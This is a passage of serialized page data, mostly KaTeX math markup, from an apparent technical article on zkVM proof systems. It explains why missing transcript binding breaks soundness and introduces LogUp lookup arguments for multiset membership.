:112092,"children":112094},{"className":112093},[3779],[112095],{"type":24,"tag":83,"props":112096,"children":112098},{"className":112097,"style":111945},[3784],[112099,112111],{"type":24,"tag":83,"props":112100,"children":112101},{"style":111746},[112102,112106],{"type":24,"tag":83,"props":112103,"children":112105},{"className":112104,"style":111751},[3793],[],{"type":24,"tag":83,"props":112107,"children":112109},{"className":112108},[3753,21328],[112110],{"type":29,"value":2968},{"type":24,"tag":83,"props":112112,"children":112114},{"style":112113},"top:-3.2634em;",[112115,112119],{"type":24,"tag":83,"props":112116,"children":112118},{"className":112117,"style":111751},[3793],[],{"type":24,"tag":83,"props":112120,"children":112122},{"className":112121,"style":111972},[111769],[112123],{"type":24,"tag":83,"props":112124,"children":112126},{"className":112125,"style":111845},[111844],[112127],{"type":24,"tag":34010,"props":112128,"children":112129},{"xmlns":111849,"width":111850,"height":111851,"style":111852,"viewBox":111853,"preserveAspectRatio":111854},[112130],{"type":24,"tag":111857,"props":112131,"children":112132},{"d":111859},[],{"type":24,"tag":83,"props":112134,"children":112136},{"className":112135},[21479],[112137],{"type":29,"value":2872},{"type":24,"tag":83,"props":112139,"children":112141},{"className":112140,"style":3834},[3833],[],{"type":24,"tag":83,"props":112143,"children":112145},{"className":112144},[3839],[112146],{"type":29,"value":110842},{"type":24,"tag":83,"props":112148,"children":112150},{"className":112149,"style":3834},[3833],[],{"type":24,"tag":83,"props":112152,"children":112154},{"className":112153},[3742],[112155,112160,112170,112175,112224,112229,112233,112282],{"type":24,"tag":83,"props":112156,"children":112159},{"className":112157,"style":112158},[3747],"height:1.2274em;vertical-align:-0.25em;",[],{"type":24,"tag":83,"props":112161,"children":112163},{"className":112162},[3753,29],[112164],{"type":24,"tag":83,"props":112165,"children":112167},{"className":112166},[3753],[112168],{"type":29,"value":112169},"eq",{"type":24,"tag":83,"props":112171,"children":112173},{"className":112172},[21457],[112174],{"type":29,"value":558},{"type":24,"tag":83,"props":112176,"children":112178},{"className":112177},[3753,111729],[112179],{"type":24,"tag":83,"props":112180,"children":112182},{"className":112181},[3774],[112183],{"type":24,"tag":83,"props":112184,"children":112186},{"className":112185},[3779],[112187],{"type":24,"tag":83,"props":112188,"children":112190},{"className":112189,"style":111945},[3784],[112191,112203],{"type":24,"tag":83,"props":112192,"children":112193},{"style":111746},[112194,112198],{"type":24,"tag":83,"props":112195,"children":112197},{"className":112196,"style":111751},[3793],[],{"type":24,"tag":83,"props":112199,"children":112201},{"className":112200},[3753,21328],[112202],{"type":29,"value":2968},{"type":24,"tag":83,"props":112204,"children":112205},{"style":112113},[112206,112210],{"type":24,"tag":83,"props":112207,"children":112209},{"className":112208,"style":111751},[3793],[],{"type":24,"tag":83,"props":112211,"children":112213},{"className":112212,"style":111972},[111769],[112214],{"type":24,"tag":83,"props":112215,"children":112217},{"className":112216,"style":111845},[111844],[112218],{"type":24,"tag":34010,"props":112219,"children":112220},{"xmlns":111849,"width":111850,"height":111851,"style":111852,"viewBox":111853,"preserveAspectRatio":111854},[112221],{"type":24,"tag":111857,"props":112222,"children":112223},{"d":111859},[],{"type":24,"tag":83,"props":112225,"children":112227},{"className":112226},[3865],[112228],{"type":29,"value":3868},{"type":24,"tag":83,"props":112230,"children":112232},{"className":112231,"style":3872},[3833],[],{"type":24,"tag":83,"props":112234,"children":112236},{"className":112235},[3753,111729],[112237],{"type":24,"tag":83,"props":112238,"children":112240},{"className":112239},[3774],[112241],{"type":24,"tag":83,"props":112242,"children":112244},{"className":112243},[3779],[112245],{"type":24,"tag":83,"props":112246,"children":112248},{"className":112247,"style":111815},[3784],[112249,112261],{"type":24,"tag":83,"props":112250,"children":112251},{"style":111746},[112252,112256],{"type":24,"tag":83,"props":112253,"children":112255},{"className":112254,"style":111751},[3793],[],{"type":24,"tag":83,"props":112257,"children":112259},{"className":112258,"style":92760},[3753,21328],[112260],{"type":29,"value":93579},{"type":24,"tag":83,"props":112262,"children":112263},{"style":111746},[112264,112268],{"type":24,"tag":83,"props":112265,"children":112267},{"className":112266,"style":111751},[3793],[],{"type":24,"tag":83,"props":112269,"children":112271},{"className":112270,"style":111839},[111769],[112272],{"type":24,"tag":83,"props":112273,"children":112275},{"className":112274,"style":111845},[111844],[112276],{"type":24,"tag":34010,"props":112277,"children":112278},{"xmlns":111849,"width":111850,"height":111851,"style":111852,"viewBox":111853,"preserveAspectRatio":111854},[112279],{"type":24,"tag":111857,"props":112280,"children":112281},{"d":111859},[],{"type":24,"tag":83,"props":112283,"children":112285},{"className":112284},[21479],[112286],{"type":29,"value":2872},{"type":24,"tag":25,"props":112288,"children":112289},{},[112290,112292,112361,112363,112509,112511,112650,112652,112736],{"type":29,"value":112291},"At a fixed challenge point ",{"type":24,"tag":32,"props":112293,"children":112295},{"className":112294},[3726,3727],[112296],{"type":24,"tag":83,"props":112297,"children":112299},{"className":112298},[3732],[112300],{"type":24,"tag":83,"props":112301,"children":112303},{"className":112302,"ariaHidden":1237},[3737],[112304],{"type":24,"tag":83,"props":112305,"children":112307},{"className":112306},[3742],[112308,112312],{"type":24,"tag":83,"props":112309,"children":112311},{"className":112310,"style":111815},[3747],[],{"type":24,"tag":83,"props":112313,"children":112315},{"className":112314},[3753,111729],[112316],{"type":24,"tag":83,"props":112317,"children":112319},{"className":112318},[3774],[112320],{"type":24,"tag":83,"props":112321,"children":112323},{"className":112322},[3779],[112324],{"type":24,"tag":83,"props":112325,"children":112327},{"className":112326,"style":111815},[3784],[112328,112340],{"type":24,"tag":83,"props":112329,"children":112330},{"style":111746},[112331,112335],{"type":24,"tag":83,"props":112332,"children":112334},{"className":112333,"style":111751},[3793],[],{"type":24,"tag":83,"props":112336,"children":112338},{"className":112337,"style":92760},[3753,21328],[112339],{"type":29,"value":93579},{"type":24,"tag":83,"props":112341,"children":112342},{"style":111746},[112343,112347],{"type":24,"tag":83,"props":112344,"children":112346},{"className":112345,"style":111751},[3793],[],{"type":24,"tag":83,"props":112348,"children":112350},{"className":112349,"style":111839},[111769],[112351],{"type":24,"tag":83,"props":112352,"children":112354},{"className":112353,"style":111845},[111844],[112355],{"type":24,"tag":34010,"props":112356,"children":112357},{"xmlns":111849,"width":111850,"height":111851,"style":111852,"viewBox":111853,"preserveAspectRatio":111854},[112358],{"type":24,"tag":111857,"props":112359,"children":112360},{"d":111859},[],{"type":29,"value":112362},", the coefficients ",{"type":24,"tag":32,"props":112364,"children":112366},{"className":112365},[3726,3727],[112367],{"type":24,"tag":83,"props":112368,"children":112370},{"className":112369},[3732],[112371],{"type":24,"tag":83,"props":112372,"children":112374},{"className":112373,"ariaHidden":1237},[3737],[112375],{"type":24,"tag":83,"props":112376,"children":112378},{"className":112377},[3742],[112379,112383,112392,112397,112446,112451,112455,112504],{"type":24,"tag":83,"props":112380,"children":112382},{"className":112381,"style":112158},[3747],[],{"type":24,"tag":83,"props":112384,"children":112386},{"className":112385},[3753,29],[112387],{"type":24,"tag":83,"props":112388,"children":112390},{"className":112389},[3753],[112391],{"type":29,"value":112169},{"type":24,"tag":83,"props":112393,"children":112395},{"className":112394},[21457],[112396],{"type":29,"value":558},{"type":24,"tag":83,"props":112398,"children":112400},{"className":112399},[3753,111729],[112401],{"type":24,"tag":83,"props":112402,"children":112404},{"className":112403},[3774],[112405],{"type":24,"tag":83,"props":112406,"children":112408},{"className":112407},[3779],[112409],{"type":24,"tag":83,"props":112410,"children":112412},{"className":112411,"style":111945},[3784],[112413,112425],{"type":24,"tag":83,"props":112414,"children":112415},{"style":111746},[112416,112420],{"type":24,"tag":83,"props":112417,"children":112419},{"className":112418,"style":111751},[3793],[],{"type":24,"tag":83,"props":112421,"children":112423},{"className":112422},[3753,21328],[112424],{"type":29,"value":2968},{"type":24,"tag":83,"props":112426,"children":112427},{"style":112113},[112428,112432],{"type":24,"tag":83,"props":112429,"children":112431},{"className":112430,"style":111751},[3793],[],{"type":24,"tag":83,"props":112433,"children":112435},{"className":112434,"style":111972},[111769],[112436],{"type":24,"tag":83,"props":112437,"children":112439},{"className":112438,"style":111845},[111844],[112440],{"type":24,"tag":34010,"props":112441,"children":112442},{"xmlns":111849,"width":111850,"height":111851,"style":111852,"viewBox":111853,"preserveAspectRatio":111854},[112443],{"type":24,"tag":111857,"props":112444,"children":112445},{"d":111859},[],{"type":24,"tag":83,"props":112447,"children":112449},{"className":112448},[3865],[112450],{"type":29,"value":3868},{"type":24,"tag":83,"props":112452,"children":112454},{"className":112453,"style":3872},[3833],[],{"type":24,"tag":83,"props":112456,"children":112458},{"className":112457},[3753,111729],[112459],{"type":24,"tag":83,"props":112460,"children":112462},{"className":112461},[3774],[112463],{"type":24,"tag":83,"props":112464,"children":112466},{"className":112465},[3779],[112467],{"type":24,"tag":83,"props":112468,"children":112470},{"className":112469,"style":111815},[3784],[112471,112483],{"type":24,"tag":83,"props":112472,"children":112473},{"style":111746},[112474,112478],{"type":24,"tag":83,"props":112475,"children":112477},{"className":112476,"style":111751},[3793],[],{"type":24,"tag":83,"props":112479,"children":112481},{"className":112480,"style":92760},[3753,21328],[112482],{"type":29,"value":93579},{"type":24,"tag":83,"props":112484,"children":112485},{"style":111746},[112486,112490],{"type":24,"tag":83,"props":112487,"children":112489},{"className":112488,"style":111751},[3793],[],{"type":24,"tag":83,"props":112491,"children":112493},{"className":112492,"style":111839},[111769],[112494],{"type":24,"tag":83,"props":112495,"children":112497},{"className":112496,"style":111845},[111844],[112498],{"type":24,"tag":34010,"props":112499,"children":112500},{"xmlns":111849,"width":111850,"height":111851,"style":111852,"viewBox":111853,"preserveAspectRatio":111854},[112501],{"type":24,"tag":111857,"props":112502,"children":112503},{"d":111859},[],{"type":24,"tag":83,"props":112505,"children":112507},{"className":112506},[21479],[112508],{"type":29,"value":2872},{"type":29,"value":112510}," are constants, so ",{"type":24,"tag":32,"props":112512,"children":112514},{"className":112513},[3726,3727],[112515],{"type":24,"tag":83,"props":112516,"children":112518},{"className":112517},[3732],[112519],{"type":24,"tag":83,"props":112520,"children":112522},{"className":112521,"ariaHidden":1237},[3737],[112523],{"type":24,"tag":83,"props":112524,"children":112526},{"className":112525},[3742],[112527,112531,112591,112596,112645],{"type":24,"tag":83,"props":112528,"children":112530},{"className":112529,"style":111724},[3747],[],{"type":24,"tag":83,"props":112532,"children":112534},{"className":112533},[3753,111729],[112535],{"type":24,"tag":83,"props":112536,"children":112538},{"className":112537},[3774,21382],[112539,112580],{"type":24,"tag":83,"props":112540,"children":112542},{"className":112541},[3779],[112543,112575],{"type":24,"tag":83,"props":112544,"children":112546},{"className":112545,"style":111742},[3784],[112547,112559],{"type":24,"tag":83,"props":112548,"children":112549},{"style":111746},[112550,112554],{"type":24,"tag":83,"props":112551,"children":112553},{"className":112552,"style":111751},[3793],[],{"type":24,"tag":83,"props":112555,"children":112557},{"className":112556,"style":95114},[3753,21328],[112558],{"type":29,"value":32824},{"type":24,"tag":83,"props":112560,"children":112561},{"style":111760},[112562,112566],{"type":24,"tag":83,"props":112563,"children":112565},{"className":112564,"style":111751},[3793],[],{"type":24,"tag":83,"props":112567,"children":112569},{"className":112568,"style":111770},[111769],[112570],{"type":24,"tag":83,"props":112571,"children":112573},{"className":112572},[3753],[112574],{"type":29,"value":111777},{"type":24,"tag":83,"props":112576,"children":112578},{"className":112577},[21485],[112579],{"type":29,"value":21488},{"type":24,"tag":83,"props":112581,"children":112583},{"className":112582},[3779],[112584],{"type":24,"tag":83,"props":112585,"children":112587},{"className":112586,"style":111790},[3784],[112588],{"type":24,"tag":83,"props":112589,"children":112590},{},[],{"type":24,"tag":83,"props":112592,"children":112594},{"className":112593},[21457],[112595],{"type":29,"value":558},{"type":24,"tag":83,"props":112597,"children":112599},{"className":112598},[3753,111729],[112600],{"type":24,"tag":83,"props":112601,"children":112603},{"className":112602},[3774],[112604],{"type":24,"tag":83,"props":112605,"children":112607},{"className":112606},[3779],[112608],{"type":24,"tag":83,"props":112609,"children":112611},{"className":112610,"style":111815},[3784],[112612,112624],{"type":24,"tag":83,"props":112613,"children":112614},{"style":111746},[112615,112619],{"type":24,"tag":83,"props":112616,"children":112618},{"className":112617,"style":111751},[3793],[],{"type":24,"tag":83,"props":112620,"children":112622},{"className":112621,"style":92760},[3753,21328],[112623],{"type":29,"value":93579},{"type":24,"tag":83,"props":112625,"children":112626},{"style":111746},[112627,112631],{"type":24,"tag":83,"props":112628,"children":112630},{"className":112629,"style":111751},[3793],[],{"type":24,"tag":83,"props":112632,"children":112634},{"className":112633,"style":111839},[111769],[112635],{"type":24,"tag":83,"props":112636,"children":112638},{"className":112637,"style":111845},[111844],[112639],{"type":24,"tag":34010,"props":112640,"children":112641},{"xmlns":111849,"width":111850,"height":111851,"style":111852,"viewBox":111853,"preserveAspectRatio":111854},[112642],{"type":24,"tag":111857,"props":112643,"children":112644},{"d":111859},[],{"type":24,"tag":83,"props":112646,"children":112648},{"className":112647},[21479],[112649],{"type":29,"value":2872},{"type":29,"value":112651}," is linear in the table values ",{"type":24,"tag":32,"props":112653,"children":112655},{"className":112654},[3726,3727],[112656],{"type":24,"tag":83,"props":112657,"children":112659},{"className":112658},[3732],[112660],{"type":24,"tag":83,"props":112661,"children":112663},{"className":112662,"ariaHidden":1237},[3737],[112664],{"type":24,"tag":83,"props":112665,"children":112667},{"className":112666},[3742],[112668,112672,112677,112682,112731],{"type":24,"tag":83,"props":112669,"children":112671},{"className":112670,"style":112158},[3747],[],{"type":24,"tag":83,"props":112673,"children":112675},{"className":112674,"style":95114},[3753,21328],[112676],{"type":29,"value":32824},{"type":24,"tag":83,"props":112678,"children":112680},{"className":112679},[21457],[112681],{"type":29,"value":558},{"type":24,"tag":83,"props":112683,"children":112685},{"className":112684},[3753,111729],[112686],{"type":24,"tag":83,"props":112687,"children":112689},{"className":112688},[3774],[112690],{"type":24,"tag":83,"props":112691,"children":112693},{"className":112692},[3779],[112694],{"type":24,"tag":83,"props":112695,"children":112697},{"className":112696,"style":111945},[3784],[112698,112710],{"type":24,"tag":83,"props":112699,"children":112700},{"style":111746},[112701,112705],{"type":24,"tag":83,"props":112702,"children":112704},{"className":112703,"style":111751},[3793],[],{"type":24,"tag":83,"props":112706,"children":112708},{"className":112707},[3753,21328],[112709],{"type":29,"value":2968},{"type":24,"tag":83,"props":112711,"children":112712},{"style":112113},[112713,112717],{"type":24,"tag":83,"props":112714,"children":112716},{"className":112715,"style":111751},[3793],[],{"type":24,"tag":83,"props":112718,"children":112720},{"className":112719,"style":111972},[111769],[112721],{"type":24,"tag":83,"props":112722,"children":112724},{"className":112723,"style":111845},[111844],[112725],{"type":24,"tag":34010,"props":112726,"children":112727},{"xmlns":111849,"width":111850,"height":111851,"style":111852,"viewBox":111853,"preserveAspectRatio":111854},[112728],{"type":24,"tag":111857,"props":112729,"children":112730},{"d":111859},[],{"type":24,"tag":83,"props":112732,"children":112734},{"className":112733},[21479],[112735],{"type":29,"value":2872},{"type":29,"value":161},{"type":24,"tag":25,"props":112738,"children":112739},{},[112740,112742,112811],{"type":29,"value":112741},"That linearity is exactly why missing transcript binding is dangerous: if ",{"type":24,"tag":32,"props":112743,"children":112745},{"className":112744},[3726,3727],[112746],{"type":24,"tag":83,"props":112747,"children":112749},{"className":112748},[3732],[112750],{"type":24,"tag":83,"props":112751,"children":112753},{"className":112752,"ariaHidden":1237},[3737],[112754],{"type":24,"tag":83,"props":112755,"children":112757},{"className":112756},[3742],[112758,112762],{"type":24,"tag":83,"props":112759,"children":112761},{"className":112760,"style":111815},[3747],[],{"type":24,"tag":83,"props":112763,"children":112765},{"className":112764},[3753,111729],[112766],{"type":24,"tag":83,"props":112767,"children":112769},{"className":112768},[3774],[112770],{"type":24,"tag":83,"props":112771,"children":112773},{"className":112772},[3779],[112774],{"type":24,"tag":83,"props":112775,"children":112777},{"className":112776,"style":111815},[3784],[112778,112790],{"type":24,"tag":83,"props":112779,"children":112780},{"style":111746},[112781,112785],{"type":24,"tag":83,"props":112782,"children":112784},{"className":112783,"style":111751},[3793],[],{"type":24,"tag":83,"props":112786,"children":112788},{"className":112787,"style":92760},[3753,21328],[112789],{"type":29,"value":93579},{"type":24,"tag":83,"props":112791,"children":112792},{"style":111746},[112793,112797],{"type":24,"tag":83,"props":112794,"children":112796},{"className":112795,"style":111751},[3793],[],{"type":24,"tag":83,"props":112798,"children":112800},{"className":112799,"style":111839},[111769],[112801],{"type":24,"tag":83,"props":112802,"children":112804},{"className":112803,"style":111845},[111844],[112805],{"type":24,"tag":34010,"props":112806,"children":112807},{"xmlns":111849,"width":111850,"height":111851,"style":111852,"viewBox":111853,"preserveAspectRatio":111854},[112808],{"type":24,"tag":111857,"props":112809,"children":112810},{"d":111859},[],{"type":29,"value":112812}," is sampled before those values are bound, an attacker can reprogram values while preserving the same evaluated claim.",{"type":24,"tag":1818,"props":112814,"children":112816},{"id":112815},"lookup-arguments-logup",[112817],{"type":29,"value":112818},"Lookup Arguments (LogUp)",{"type":24,"tag":25,"props":112820,"children":112821},{},[112822],{"type":29,"value":112823},"zkVMs need to check that values satisfy certain properties. For example:",{"type":24,"tag":16422,"props":112825,"children":112826},{},[112827,112883,112888],{"type":24,"tag":67,"props":112828,"children":112829},{},[112830,112832,112882],{"type":29,"value":112831},"Is this byte in range ",{"type":24,"tag":32,"props":112833,"children":112835},{"className":112834},[3726,3727],[112836],{"type":24,"tag":83,"props":112837,"children":112839},{"className":112838},[3732],[112840],{"type":24,"tag":83,"props":112841,"children":112843},{"className":112842,"ariaHidden":1237},[3737],[112844],{"type":24,"tag":83,"props":112845,"children":112847},{"className":112846},[3742],[112848,112852,112857,112862,112867,112871,112877],{"type":24,"tag":83,"props":112849,"children":112851},{"className":112850,"style":3854},[3747],[],{"type":24,"tag":83,"props":112853,"children":112855},{"className":112854},[21457],[112856],{"type":29,"value":1161},{"type":24,"tag":83,"props":112858,"children":112860},{"className":112859},[3753],[112861],{"type":29,"value":1166},{"type":24,"tag":83,"props":112863,"children":112865},{"className":112864},[3865],[112866],{"type":29,"value":3868},{"type":24,"tag":83,"props":112868,"children":112870},{"className":112869,"style":3872},[3833],[],{"type":24,"tag":83,"props":112872,"children":112874},{"className":112873},[3753],[112875],{"type":29,"value":112876},"255",{"type":24,"tag":83,"props":112878,"children":112880},{"className":112879},[21479],[112881],{"type":29,"value":15151},{"type":29,"value":2900},{"type":24,"tag":67,"props":112884,"children":112885},{},[112886],{"type":29,"value":112887},"Does this opcode decode correctly?",{"type":24,"tag":67,"props":112889,"children":112890},{},[112891],{"type":29,"value":112892},"Is this memory access consistent with previous accesses?",{"type":24,"tag":25,"props":112894,"children":112895},{},[112896,112901],{"type":24,"tag":2040,"props":112897,"children":112898},{},[112899],{"type":29,"value":112900},"The naive approach:",{"type":29,"value":112902}," Add constraints for each check. Expensive.",{"type":24,"tag":25,"props":112904,"children":112905},{},[112906,112911,112913,112918],{"type":24,"tag":2040,"props":112907,"children":112908},{},[112909],{"type":29,"value":112910},"The clever approach:",{"type":29,"value":112912}," Precompute a table of valid tuples. Prove that every value the program uses appears in the table. This is a ",{"type":24,"tag":2040,"props":112914,"children":112915},{},[112916],{"type":29,"value":112917},"multiset membership",{"type":29,"value":67511},{"type":24,"tag":25,"props":112920,"children":112921},{},[112922,112927],{"type":24,"tag":2040,"props":112923,"children":112924},{},[112925],{"type":29,"value":112926},"LogUp (Logarithmic Derivative):",{"type":29,"value":112928}," Encode multiset membership as a sum of fractions.",{"type":24,"tag":25,"props":112930,"children":112931},{},[112932,112934,112959,112961,112988],{"type":29,"value":112933},"If set ",{"type":24,"tag":32,"props":112935,"children":112937},{"className":112936},[3726,3727],[112938],{"type":24,"tag":83,"props":112939,"children":112941},{"className":112940},[3732],[112942],{"type":24,"tag":83,"props":112943,"children":112945},{"className":112944,"ariaHidden":1237},[3737],[112946],{"type":24,"tag":83,"props":112947,"children":112949},{"className":112948},[3742],[112950,112954],{"type":24,"tag":83,"props":112951,"children":112953},{"className":112952,"style":21323},[3747],[],{"type":24,"tag":83,"props":112955,"children":112957},{"className":112956},[3753,21328],[112958],{"type":29,"value":76482},{"type":29,"value":112960}," should equal set ",{"type":24,"tag":32,"props":112962,"children":112964},{"className":112963},[3726,3727],[112965],{"type":24,"tag":83,"props":112966,"children":112968},{"className":112967},[3732],[112969],{"type":24,"tag":83,"props":112970,"children":112972},{"className":112971,"ariaHidden":1237},[3737],[112973],{"type":24,"tag":83,"props":112974,"children":112976},{"className":112975},[3742],[112977,112981],{"type":24,"tag":83,"props":112978,"children":112980},{"className":112979,"style":21323},[3747],[],{"type":24,"tag":83,"props":112982,"children":112985},{"className":112983,"style":112984},[3753,21328],"margin-right:0.05017em;",[112986],{"type":29,"value":112987},"B",{"type":29,"value":112989}," as multisets:",{"type":24,"tag":25,"props":112991,"children":112992},{},[112993],{"type":24,"tag":32,"props":112994,"children":112996},{"className":112995},[3726,3727],[112997],{"type":24,"tag":83,"props":112998,"children":113000},{"className":112999},[3732],[113001],{"type":24,"tag":83,"props":113002,"children":113004},{"className":113003,"ariaHidden":1237},[3737],[113005,113220],{"type":24,"tag":83,"props":113006,"children":113008},{"className":113007},[3742],[113009,113014,113087,113091,113207,113211,113216],{"type":24,"tag":83,"props":113010,"children":113013},{"className":113011,"style":113012},[3747],"height:1.2484em;vertical-align:-0.4033em;",[],{"type":24,"tag":83,"props":113015,"children":113017},{"className":113016},[21364],[113018,113023],{"type":24,"tag":83,"props":113019,"children":113021},{"className":113020,"style":21371},[21364,21369,21370],[113022],{"type":29,"value":108375},{"type":24,"tag":83,"props":113024,"children":113026},{"className":113025},[3769],[113027],{"type":24,"tag":83,"props":113028,"children":113030},{"className":113029},[3774,21382],[113031,113075],{"type":24,"tag":83,"props":113032,"children":113034},{"className":113033},[3779],[113035,113070],{"type":24,"tag":83,"props":113036,"children":113039},{"className":113037,"style":113038},[3784],"height:0.1786em;",[113040],{"type":24,"tag":83,"props":113041,"children":113042},{"style":21395},[113043,113047],{"type":24,"tag":83,"props":113044,"children":113046},{"className":113045,"style":3794},[3793],[],{"type":24,"tag":83,"props":113048,"children":113050},{"className":113049},[3799,3800,3801,3802],[113051],{"type":24,"tag":83,"props":113052,"children":113054},{"className":113053},[3753,3802],[113055,113060,113065],{"type":24,"tag":83,"props":113056,"children":113058},{"className":113057},[3753,21328,3802],[113059],{"type":29,"value":2033},{"type":24,"tag":83,"props":113061,"children":113063},{"className":113062},[3936,3802],[113064],{"type":29,"value":21435},{"type":24,"tag":83,"props":113066,"children":113068},{"className":113067},[3753,21328,3802],[113069],{"type":29,"value":76482},{"type":24,"tag":83,"props":113071,"children":113073},{"className":113072},[21485],[113074],{"type":29,"value":21488},{"type":24,"tag":83,"props":113076,"children":113078},{"className":113077},[3779],[113079],{"type":24,"tag":83,"props":113080,"children":113083},{"className":113081,"style":113082},[3784],"height:0.3271em;",[113084],{"type":24,"tag":83,"props":113085,"children":113086},{},[],{"type":24,"tag":83,"props":113088,"children":113090},{"className":113089,"style":3872},[3833],[],{"type":24,"tag":83,"props":113092,"children":113094},{"className":113093},[3753],[113095,113100,113203],{"type":24,"tag":83,"props":113096,"children":113099},{"className":113097},[21457,113098],"nulldelimiter",[],{"type":24,"tag":83,"props":113101,"children":113104},{"className":113102},[113103],"mfrac",[113105],{"type":24,"tag":83,"props":113106,"children":113108},{"className":113107},[3774,21382],[113109,113191],{"type":24,"tag":83,"props":113110,"children":113112},{"className":113111},[3779],[113113,113186],{"type":24,"tag":83,"props":113114,"children":113117},{"className":113115,"style":113116},[3784],"height:0.8451em;",[113118,113151,113165],{"type":24,"tag":83,"props":113119,"children":113121},{"style":113120},"top:-2.655em;",[113122,113126],{"type":24,"tag":83,"props":113123,"children":113125},{"className":113124,"style":111751},[3793],[],{"type":24,"tag":83,"props":113127,"children":113129},{"className":113128},[3799,3800,3801,3802],[113130],{"type":24,"tag":83,"props":113131,"children":113133},{"className":113132},[3753,3802],[113134,113141,113146],{"type":24,"tag":83,"props":113135,"children":113138},{"className":113136,"style":113137},[3753,21328,3802],"margin-right:0.04398em;",[113139],{"type":29,"value":113140},"z",{"type":24,"tag":83,"props":113142,"children":113144},{"className":113143},[3839,3802],[113145],{"type":29,"value":3813},{"type":24,"tag":83,"props":113147,"children":113149},{"className":113148},[3753,21328,3802],[113150],{"type":29,"value":2033},{"type":24,"tag":83,"props":113152,"children":113154},{"style":113153},"top:-3.23em;",[113155,113159],{"type":24,"tag":83,"props":113156,"children":113158},{"className":113157,"style":111751},[3793],[],{"type":24,"tag":83,"props":113160,"children":113164},{"className":113161,"style":113163},[113162],"frac-line","border-bottom-width:0.04em;",[],{"type":24,"tag":83,"props":113166,"children":113168},{"style":113167},"top:-3.394em;",[113169,113173],{"type":24,"tag":83,"props":113170,"children":113172},{"className":113171,"style":111751},[3793],[],{"type":24,"tag":83,"props":113174,"children":113176},{"className":113175},[3799,3800,3801,3802],[113177],{"type":24,"tag":83,"props":113178,"children":113180},{"className":113179},[3753,3802],[113181],{"type":24,"tag":83,"props":113182,"children":113184},{"className":113183},[3753,3802],[113185],{"type":29,"value":3756},{"type":24,"tag":83,"props":113187,"children":113189},{"className":113188},[21485],[113190],{"type":29,"value":21488},{"type":24,"tag":83,"props":113192,"children":113194},{"className":113193},[3779],[113195],{"type":24,"tag":83,"props":113196,"children":113199},{"className":113197,"style":113198},[3784],"height:0.4033em;",[113200],{"type":24,"tag":83,"props":113201,"children":113202},{},[],{"type":24,"tag":83,"props":113204,"children":113206},{"className":113205},[21479,113098],[],{"type":24,"tag":83,"props":113208,"children":113210},{"className":113209,"style":3931},[3833],[],{"type":24,"tag":83,"props":113212,"children":113214},{"className":113213},[3936],[113215],{"type":29,"value":1275},{"type":24,"tag":83,"props":113217,"children":113219},{"className":113218,"style":3931},[3833],[],{"type":24,"tag":83,"props":113221,"children":113223},{"className":113222},[3742],[113224,113228,113300,113304],{"type":24,"tag":83,"props":113225,"children":113227},{"className":113226,"style":113012},[3747],[],{"type":24,"tag":83,"props":113229,"children":113231},{"className":113230},[21364],[113232,113237],{"type":24,"tag":83,"props":113233,"children":113235},{"className":113234,"style":21371},[21364,21369,21370],[113236],{"type":29,"value":108375},{"type":24,"tag":83,"props":113238,"children":113240},{"className":113239},[3769],[113241],{"type":24,"tag":83,"props":113242,"children":113244},{"className":113243},[3774,21382],[113245,113289],{"type":24,"tag":83,"props":113246,"children":113248},{"className":113247},[3779],[113249,113284],{"type":24,"tag":83,"props":113250,"children":113253},{"className":113251,"style":113252},[3784],"height:0.1864em;",[113254],{"type":24,"tag":83,"props":113255,"children":113256},{"style":21395},[113257,113261],{"type":24,"tag":83,"props":113258,"children":113260},{"className":113259,"style":3794},[3793],[],{"type":24,"tag":83,"props":113262,"children":113264},{"className":113263},[3799,3800,3801,3802],[113265],{"type":24,"tag":83,"props":113266,"children":113268},{"className":113267},[3753,3802],[113269,113274,113279],{"type":24,"tag":83,"props":113270,"children":113272},{"className":113271},[3753,21328,3802],[113273],{"type":29,"value":2968},{"type":24,"tag":83,"props":113275,"children":113277},{"className":113276},[3936,3802],[113278],{"type":29,"value":21435},{"type":24,"tag":83,"props":113280,"children":113282},{"className":113281,"style":112984},[3753,21328,3802],[113283],{"type":29,"value":112987},{"type":24,"tag":83,"props":113285,"children":113287},{"className":113286},[21485],[113288],{"type":29,"value":21488},{"type":24,"tag":83,"props":113290,"children":113292},{"className":113291},[3779],[113293],{"type":24,"tag":83,"props":113294,"children":113296},{"className":113295,"style":113082},[3784],[113297],{"type":24,"tag":83,"props":113298,"children":113299},{},[],{"type":24,"tag":83,"props":113301,"children":113303},{"className":113302,"style":3872},[3833],[],{"type":24,"tag":83,"props":113305,"children":113307},{"className":113306},[3753],[113308,113312,113405],{"type":24,"tag":83,"props":113309,"children":113311},{"className":113310},[21457,113098],[],{"type":24,"tag":83,"props":113313,"children":113315},{"className":113314},[113103],[113316],{"type":24,"tag":83,"props":113317,"children":113319},{"className":113318},[3774,21382],[113320,113394],{"type":24,"tag":83,"props":113321,"children":113323},{"className":113322},[3779],[113324,113389],{"type":24,"tag":83,"props":113325,"children":113327},{"className":113326,"style":113116},[3784],[113328,113358,113369],{"type":24,"tag":83,"props":113329,"children":113330},{"style":113120},[113331,113335],{"type":24,"tag":83,"props":113332,"children":113334},{"className":113333,"style":111751},[3793],[],{"type":24,"tag":83,"props":113336,"children":113338},{"className":113337},[3799,3800,3801,3802],[113339],{"type":24,"tag":83,"props":113340,"children":113342},{"className":113341},[3753,3802],[113343,113348,113353],{"type":24,"tag":83,"props":113344,"children":113346},{"className":113345,"style":113137},[3753,21328,3802],[113347],{"type":29,"value":113140},{"type":24,"tag":83,"props":113349,"children":113351},{"className":113350},[3839,3802],[113352],{"type":29,"value":3813},{"type":24,"tag":83,"props":113354,"children":113356},{"className":113355},[3753,21328,3802],[113357],{"type":29,"value":2968},{"type":24,"tag":83,"props":113359,"children":113360},{"style":113153},[113361,113365],{"type":24,"tag":83,"props":113362,"children":113364},{"className":113363,"style":111751},[3793],[],{"type":24,"tag":83,"props":113366,"children":113368},{"className":113367,"style":113163},[113162],[],{"type":24,"tag":83,"props":113370,"children":113371},{"style":113167},[113372,113376],{"type":24,"tag":83,"props":113373,"children":113375},{"className":113374,"style":111751},[3793],[],{"type":24,"tag":83,"props":113377,"children":113379},{"className":113378},[3799,3800,3801,3802],[113380],{"type":24,"tag":83,"props":113381,"children":113383},{"className":113382},[3753,3802],[113384],{"type":24,"tag":83,"props":113385,"children":113387},{"className":113386},[3753,3802],[113388],{"type":29,"value":3756},{"type":24,"tag":83,"props":113390,"children":113392},{"className":113391},[21485],[113393],{"type":29,"value":21488},{"type":24,"tag":83,"props":113395,"children":113397},{"className":113396},[3779],[113398],{"type":24,"tag":83,"props":113399,"children":113401},{"className":113400,"style":113198},[3784],[113402],{"